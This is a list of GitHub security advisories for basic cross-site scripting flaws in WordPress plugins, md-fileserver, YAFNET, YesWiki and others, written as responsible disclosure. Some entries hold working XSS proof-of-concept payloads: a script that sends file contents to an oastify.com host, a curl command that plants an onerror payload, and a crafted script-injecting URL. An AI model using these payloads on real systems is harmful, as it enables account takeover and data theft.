CWE-80
AllowedImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
975 vulnerabilities reference this CWE, most recent first.
GHSA-2XR4-CHCF-VMVF
Vulnerability from github – Published: 2026-03-19 19:37 – Updated: 2026-03-19 19:37Impact
The Query Monitor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the $_SERVER['REQUEST_URI'] parameter in all versions up to, and including, 3.20.3 due to insufficient output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an Administrator-level user into performing an action such as clicking on a link.
On admin requests, the plugin reads user controlled data from $_SERVER['REQUEST_URI'] and stores it in the request field, then renders request, matched_query, and query_string through format_url(). If the attacker supplied string does not contain &, format_url() returns it without HTML escaping, which allows injected HTML or JavaScript from the request target to be inserted directly into the page inside a <code> element and executed in the victim's browser.
Patches
This issue has been patched in Query Monitor 3.20.4.
Credits
Many thanks to Dmitrii Ignatyev at CleanTalk for responsibly disclosing this vulnerability.
How can I report a security bug?
You can submit a private security vulnerability report to Query Monitor via the Security tab on the GitHub repo. The GitHub Security Advisory process facilitates private collaboration on security issues. You'll receive credit for a valid report and a CVE if necessary.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "johnbillion/query-monitor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4267"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:37:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThe Query Monitor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER[\u0027REQUEST_URI\u0027]` parameter in all versions up to, and including, 3.20.3 due to insufficient output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an Administrator-level user into performing an action such as clicking on a link.\n\nOn admin requests, the plugin reads user controlled data from `$_SERVER[\u0027REQUEST_URI\u0027]` and stores it in the request field, then renders `request`, `matched_query`, and `query_string` through `format_url()`. If the attacker supplied string does not contain `\u0026`, `format_url()` returns it without HTML escaping, which allows injected HTML or JavaScript from the request target to be inserted directly into the page inside a `\u003ccode\u003e` element and executed in the victim\u0027s browser.\n\n### Patches\n\nThis issue has been patched in Query Monitor 3.20.4.\n\n### Credits\n\nMany thanks to Dmitrii Ignatyev at CleanTalk for responsibly disclosing this vulnerability.\n\n### How can I report a security bug?\n\nYou can submit a private security vulnerability report to Query Monitor via [the Security tab on the GitHub repo](https://github.com/johnbillion/query-monitor/security). The GitHub Security Advisory process facilitates private collaboration on security issues. You\u0027ll receive credit for a valid report and a CVE if necessary.",
"id": "GHSA-2xr4-chcf-vmvf",
"modified": "2026-03-19T19:37:04Z",
"published": "2026-03-19T19:37:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/johnbillion/query-monitor/security/advisories/GHSA-2xr4-chcf-vmvf"
},
{
"type": "PACKAGE",
"url": "https://github.com/johnbillion/query-monitor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "The Query Monitor plugin for WordPress has Reflected Cross-Site Scripting via Request URI"
}
GHSA-328F-3QHJ-7364
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46A vulnerability in certain web pages of Cisco Webex Meetings could allow an unauthenticated, remote attacker to modify a web page in the context of a user's browser. The vulnerability is due to improper checks on parameter values in affected pages. An attacker could exploit this vulnerability by persuading a user to follow a crafted link that is designed to pass HTML code into an affected parameter. A successful exploit could allow the attacker to alter the contents of a web page to redirect the user to potentially malicious websites, or the attacker could use this vulnerability to conduct further client-side attacks.
{
"affected": [],
"aliases": [
"CVE-2021-1420"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-08T04:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in certain web pages of Cisco Webex Meetings could allow an unauthenticated, remote attacker to modify a web page in the context of a user\u0027s browser. The vulnerability is due to improper checks on parameter values in affected pages. An attacker could exploit this vulnerability by persuading a user to follow a crafted link that is designed to pass HTML code into an affected parameter. A successful exploit could allow the attacker to alter the contents of a web page to redirect the user to potentially malicious websites, or the attacker could use this vulnerability to conduct further client-side attacks.",
"id": "GHSA-328f-3qhj-7364",
"modified": "2022-05-24T17:46:52Z",
"published": "2022-05-24T17:46:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1420"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-VObwRKWV"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-32Q2-HHR5-6QVV
Vulnerability from github – Published: 2026-05-21 17:57 – Updated: 2026-06-09 18:41Summary
A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.
Details
An attacker can craft malicious Markdown content containing tags or event handlers (e.g., ). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.
Vulnerable Components
config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.
lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.
lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.
PoC
Create a pwn.md
# Hello
<script>
fetch('/etc/passwd', { credentials: 'include' })
.then(r => r.text())
.then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));
</script>
Open it on browser.
View the HTTP request in Burp Collaborator.
Impact
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to: - Session hijacking - Account takeover - Credential theft - Defacement or injection of malicious content - Exfiltration of sensitive data via API tokens, CSRF tokens, or user information
This affects all users who can view Markdown content within the application.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "md-fileserver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46492"
],
"database_specific": {
"cwe_ids": [
"CWE-80",
"CWE-87"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T17:57:32Z",
"nvd_published_at": "2026-06-09T17:17:33Z",
"severity": "HIGH"
},
"details": "### Summary\nA cross-site scripting (XSS) vulnerability exists in the application\u2019s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML\u2014including \u003cscript\u003e tags\u2014is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing \u003cscript\u003e tags or event handlers (e.g., \u003cimg onerror=...\u003e). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim\u2019s browser.\n\n### Vulnerable Components\nconfig.js \u2192 markdownIt: { html: true } (Lines 26\u201330)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33\u201358)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using \u003c%= markdown %\u003e without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n\u003cscript\u003e\n fetch(\u0027/etc/passwd\u0027, { credentials: \u0027include\u0027 })\n .then(r =\u003e r.text())\n .then(t =\u003e fetch(\u0027https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil\u0027, { method: \u0027POST\u0027, body: t }));\n\u003c/script\u003e\n\n```\nOpen it on browser.\n\u003cimg width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" /\u003e\nView the HTTP request in Burp Collaborator.\n\u003cimg width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" /\u003e\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim\u2019s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.",
"id": "GHSA-32q2-hhr5-6qvv",
"modified": "2026-06-09T18:41:40Z",
"published": "2026-05-21T17:57:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46492"
},
{
"type": "PACKAGE",
"url": "https://github.com/commenthol/md-fileserver"
},
{
"type": "WEB",
"url": "https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)"
}
GHSA-333R-822H-H7J4
Vulnerability from github – Published: 2026-01-08 12:30 – Updated: 2026-01-20 15:33Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Noor Alam Easy Media Download easy-media-download allows Reflection Injection.This issue affects Easy Media Download: from n/a through <= 1.1.11.
{
"affected": [],
"aliases": [
"CVE-2025-69169"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T10:15:54Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Noor Alam Easy Media Download easy-media-download allows Reflection Injection.This issue affects Easy Media Download: from n/a through \u003c= 1.1.11.",
"id": "GHSA-333r-822h-h7j4",
"modified": "2026-01-20T15:33:11Z",
"published": "2026-01-08T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69169"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/easy-media-download/vulnerability/wordpress-easy-media-download-plugin-1-1-11-css-injection-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/easy-media-download/vulnerability/wordpress-easy-media-download-plugin-1-1-11-css-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-33GV-FC78-QGF5
Vulnerability from github – Published: 2026-05-05 20:31 – Updated: 2026-05-13 16:24Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.
Issue Details:
The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.
Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.
Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.
Steps to Reproduce:
- From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
- curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
- Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
- As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
- Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.4"
},
"package": {
"ecosystem": "NuGet",
"name": "YAFNET.Core"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta01"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.11"
},
"package": {
"ecosystem": "NuGet",
"name": "YAFNET.Core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43938"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:31:36Z",
"nvd_published_at": "2026-05-12T15:16:15Z",
"severity": "HIGH"
},
"details": "**Description:**\nStored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component \u2014 often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.\n\n**Issue Details:**\nThe application\u0027s database logger (`YAFNET.Core/Logger/DbLogger.cs`) captures the incoming request\u0027s `User-Agent` header into a `JObject`, serializes it with `JsonConvert`, and stores the result in the `EventLog.Description` column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (`YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs`) later deserializes that JSON in `FormatStackTrace()` and interpolates the `UserAgent` value directly into an HTML string with no encoding, and the Razor view `EventLog.cshtml` emits the result through `@Html.Raw`. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint `GET /api/Attachments/GetAttachment?attachmentId=2147483647` reliably triggers a server-side exception that is written to `dbo.EventLog` together with the attacker-controlled `User-Agent`. A single anonymous request such as `curl -A \"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e\" \"http://\u003ctarget\u003e/api/Attachments/GetAttachment?attachmentId=2147483647\"` is sufficient to persist the payload, and when an administrator later visits `/Admin/EventLog` the malicious markup is rendered as live HTML in the admin\u0027s authenticated session.\n\n**Impact:**\nAn entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator\u0027s browser the next time the Event Log is viewed. Because the script runs in the admin\u0027s authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.\n\n**Likelihood:**\nExploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.\n\n**Steps to Reproduce:**\n- From an unauthenticated session (no cookies, no tokens), send the following request with a malicious `User-Agent` header:\n - `curl.exe -sS -A \"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e\" \"http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647\"`\n- Confirm the server returns an error response and that a row has been written to `dbo.EventLog` containing the attacker-controlled `UserAgent` value inside the JSON `Description`.\n- As an administrator (e.g., `Superuser`), navigate to `/Admin/EventLog`.\n- Observe that the rendered page contains the raw `\u003cimg src=x onerror=\"alert(\u0027XSS\u0027)\"\u003e` element inside the event\u0027s badge block, and that the `onerror` handler executes in the admin\u0027s authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.\n\n\u003cimg width=\"1193\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/70c59ef2-8d31-435b-9a9d-338f753e58f8\" /\u003e",
"id": "GHSA-33gv-fc78-qgf5",
"modified": "2026-05-13T16:24:19Z",
"published": "2026-05-05T20:31:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YAFNET/YAFNET/security/advisories/GHSA-33gv-fc78-qgf5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43938"
},
{
"type": "PACKAGE",
"url": "https://github.com/YAFNET/YAFNET"
},
{
"type": "WEB",
"url": "https://github.com/YAFNET/YAFNET/releases/tag/v3.2.12"
},
{
"type": "WEB",
"url": "https://github.com/YAFNET/YAFNET/releases/tag/v4.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "YAFNET has Unauthenticated Stored Second-Order XSS in Admin Event Log via Reflected `User-Agent` Header"
}
GHSA-33P4-8HXP-X9PP
Vulnerability from github – Published: 2025-04-04 18:31 – Updated: 2025-04-04 18:31Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Nikita Advanced WordPress Backgrounds allows Code Injection. This issue affects Advanced WordPress Backgrounds: from n/a through 1.12.4.
{
"affected": [],
"aliases": [
"CVE-2025-32200"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-04T16:15:30Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Nikita Advanced WordPress Backgrounds allows Code Injection. This issue affects Advanced WordPress Backgrounds: from n/a through 1.12.4.",
"id": "GHSA-33p4-8hxp-x9pp",
"modified": "2025-04-04T18:31:01Z",
"published": "2025-04-04T18:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32200"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/advanced-backgrounds/vulnerability/wordpress-advanced-wordpress-backgrounds-plugin-1-12-4-content-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-34GM-QFWW-6GWM
Vulnerability from github – Published: 2025-01-27 15:30 – Updated: 2026-04-01 18:33Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in WpMultiStoreLocator WP Multi Store Locator allows Reflected XSS. This issue affects WP Multi Store Locator: from n/a through 2.4.7.
{
"affected": [],
"aliases": [
"CVE-2025-24680"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-27T15:15:15Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in WpMultiStoreLocator WP Multi Store Locator allows Reflected XSS. This issue affects WP Multi Store Locator: from n/a through 2.4.7.",
"id": "GHSA-34gm-qfww-6gwm",
"modified": "2026-04-01T18:33:29Z",
"published": "2025-01-27T15:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24680"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-multi-store-locator/vulnerability/wordpress-wp-multi-store-locator-plugin-2-4-7-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-35F3-PG38-486F
Vulnerability from github – Published: 2026-07-09 21:00 – Updated: 2026-07-09 21:00Summary
YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append HTML or JavaScript to a valid archived revision timestamp, still load that archived revision, and execute arbitrary JavaScript in the victim's browser.
The vulnerable form is only rendered when the victim can both read and edit the target page. In restricted deployments this requires a victim with read and write access to that page. On a default doryphore 4.6.5 install, public pages such as PagePrincipale were editable anonymously during validation, so the issue can also affect unauthenticated visitors in that configuration.
Details
The request routing path uses the user-controlled time parameter to load a specific page revision. In includes/YesWiki.php around Run() line 1223, the request is routed through:
$this->SetPage($this->LoadPage($tag, isset($_REQUEST['time']) ? $_REQUEST['time'] : ''));
LoadPage() delegates to PageManager::getOne() in includes/services/PageManager.php around line 75, which builds a SQL predicate directly from the supplied revision time:
$timeQuery = $time ? "time = '{$this->dbService->escape($time)}'" : "latest = 'Y'";
If the loaded page is an archived revision (latest == 'N') and the current user has write access, handlers/page/show.php around lines 43-49 renders an edit form for that archived revision and copies $_GET['time'] into a hidden input without htmlspecialchars():
$time = isset($_GET['time']) ? $_GET['time'] : '';
echo $this->FormOpen(testUrlInIframe() ? 'editiframe' : 'edit', '', 'get');
<input type="hidden" name="time" value="<?php echo $time; ?>" />
That sink is reachable only when all of the following are true:
- The target page has at least one archived revision.
- The victim can
readthe target page. - The victim can
writethe target page, because the archived revision edit form is rendered only inside theif ($this->HasAccess('write'))branch.
In practice, the payload must begin with a real archived revision timestamp. A completely invalid time value does not reach the archived branch because YesWiki only updates the current page object when the revision lookup returns a non-empty row.
During local validation on the official doryphore 4.6.5 package, the exploit worked because MySQL accepted a malformed timestamp string as matching an existing archived revision row. For example, the following expression was coerced to the stored revision time:
CAST(CONCAT('2026-05-24 04:30:00', CHAR(34), CHAR(62), CHAR(60), 'script', CHAR(62), 'alert(1)', CHAR(60), '/script', CHAR(62)) AS DATETIME)
and the corresponding query predicate still matched the archived row:
WHERE time = '2026-05-24 04:30:00"><script>alert(1)</script>'
This means a payload can begin with a valid archived revision timestamp, still resolve to the archived revision, and then be reflected unescaped into the hidden HTML field.
For comparison, tools/bazar/handlers/page/show__.php around lines 13-14 escapes the same time value with htmlspecialchars(), which shows that the core handler's behavior is inconsistent and unsafe.
This issue maps to CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
PoC
- Set up a vulnerable YesWiki instance. This was validated locally on the official
doryphore 4.6.5release. - Use a target page that has at least one archived revision. Any page with revision history is sufficient.
- Confirm the victim has the rights needed to reach the vulnerable sink:
- The victim must have
readaccess to the page. - The victim must have
writeaccess to the page. - On the default validation install, these rights were available anonymously on public pages such as
PagePrincipale, so no login was required in that configuration. - Identify the timestamp of an archived revision. In the validated setup, an archived
PagePrincipalerevision existed at2026-05-24 04:30:00. - Send the victim a crafted URL that starts with that valid archived revision timestamp and then appends an attribute-breaking payload:
http://127.0.0.1:8085/PagePrincipale?time=2026-05-24%2004:30:00%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cinput%20value=%22
- Open the URL in a browser as a victim who has the required
readandwriterights. - Observe that YesWiki still loads the archived revision view and displays the archived-revision warning block, proving the malformed
timevalue matched the stored archived revision. - Inspect the returned HTML. The response contains the injected payload inside the hidden form field:
<input type="hidden" name="time" value="2026-05-24 04:30:00"><script>alert(1)</script><input value="" />
- The browser executes the injected JavaScript in the YesWiki origin. A simple payload such as
alert(1)demonstrates code execution; a real payload could read browser-accessible data or perform actions in the victim's session.
Impact
This is a reflected XSS vulnerability in the archived-revision workflow.
The practical access model is:
- The attacker only needs to send a crafted link.
- The victim must have
readandwriteaccess to the target page. - The target page must have at least one archived revision.
- On deployments where anonymous visitors can edit public pages, the issue can be exploited against unauthenticated visitors as well.
An attacker may be able to:
- Execute arbitrary JavaScript in the victim's browser.
- Steal browser-accessible sensitive data.
- Perform actions as the victim inside YesWiki.
- Abuse the trusted YesWiki origin for phishing, UI redressing, or follow-on attacks.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52773"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T21:00:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nYesWiki\u0027s archived-revision view reflects the `time` `GET` parameter into a hidden HTML input in `handlers/page/show.php` without escaping. Because MySQL coerces malformed `DATETIME` strings, an attacker can append HTML or JavaScript to a valid archived revision timestamp, still load that archived revision, and execute arbitrary JavaScript in the victim\u0027s browser.\n\nThe vulnerable form is only rendered when the victim can both read and edit the target page. In restricted deployments this requires a victim with `read` and `write` access to that page. On a default `doryphore 4.6.5` install, public pages such as `PagePrincipale` were editable anonymously during validation, so the issue can also affect unauthenticated visitors in that configuration.\n\n### Details\nThe request routing path uses the user-controlled `time` parameter to load a specific page revision. In `includes/YesWiki.php` around `Run()` line `1223`, the request is routed through:\n\n```php\n$this-\u003eSetPage($this-\u003eLoadPage($tag, isset($_REQUEST[\u0027time\u0027]) ? $_REQUEST[\u0027time\u0027] : \u0027\u0027));\n```\n\n`LoadPage()` delegates to `PageManager::getOne()` in `includes/services/PageManager.php` around line `75`, which builds a SQL predicate directly from the supplied revision time:\n\n```php\n$timeQuery = $time ? \"time = \u0027{$this-\u003edbService-\u003eescape($time)}\u0027\" : \"latest = \u0027Y\u0027\";\n```\n\nIf the loaded page is an archived revision (`latest == \u0027N\u0027`) and the current user has `write` access, `handlers/page/show.php` around lines `43-49` renders an edit form for that archived revision and copies `$_GET[\u0027time\u0027]` into a hidden input without `htmlspecialchars()`:\n\n```php\n$time = isset($_GET[\u0027time\u0027]) ? $_GET[\u0027time\u0027] : \u0027\u0027;\necho $this-\u003eFormOpen(testUrlInIframe() ? \u0027editiframe\u0027 : \u0027edit\u0027, \u0027\u0027, \u0027get\u0027);\n\u003cinput type=\"hidden\" name=\"time\" value=\"\u003c?php echo $time; ?\u003e\" /\u003e\n```\n\nThat sink is reachable only when all of the following are true:\n\n1. The target page has at least one archived revision.\n2. The victim can `read` the target page.\n3. The victim can `write` the target page, because the archived revision edit form is rendered only inside the `if ($this-\u003eHasAccess(\u0027write\u0027))` branch.\n\nIn practice, the payload must begin with a real archived revision timestamp. A completely invalid `time` value does not reach the archived branch because YesWiki only updates the current page object when the revision lookup returns a non-empty row.\n\nDuring local validation on the official `doryphore 4.6.5` package, the exploit worked because MySQL accepted a malformed timestamp string as matching an existing archived revision row. For example, the following expression was coerced to the stored revision time:\n\n```sql\nCAST(CONCAT(\u00272026-05-24 04:30:00\u0027, CHAR(34), CHAR(62), CHAR(60), \u0027script\u0027, CHAR(62), \u0027alert(1)\u0027, CHAR(60), \u0027/script\u0027, CHAR(62)) AS DATETIME)\n```\n\nand the corresponding query predicate still matched the archived row:\n\n```sql\nWHERE time = \u00272026-05-24 04:30:00\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u0027\n```\n\nThis means a payload can begin with a valid archived revision timestamp, still resolve to the archived revision, and then be reflected unescaped into the hidden HTML field.\n\nFor comparison, `tools/bazar/handlers/page/show__.php` around lines `13-14` escapes the same `time` value with `htmlspecialchars()`, which shows that the core handler\u0027s behavior is inconsistent and unsafe.\n\nThis issue maps to **CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)**.\n\n### PoC\n1. Set up a vulnerable YesWiki instance. This was validated locally on the official `doryphore 4.6.5` release.\n2. Use a target page that has at least one archived revision. Any page with revision history is sufficient.\n3. Confirm the victim has the rights needed to reach the vulnerable sink:\n - The victim must have `read` access to the page.\n - The victim must have `write` access to the page.\n - On the default validation install, these rights were available anonymously on public pages such as `PagePrincipale`, so no login was required in that configuration.\n4. Identify the timestamp of an archived revision. In the validated setup, an archived `PagePrincipale` revision existed at `2026-05-24 04:30:00`.\n5. Send the victim a crafted URL that starts with that valid archived revision timestamp and then appends an attribute-breaking 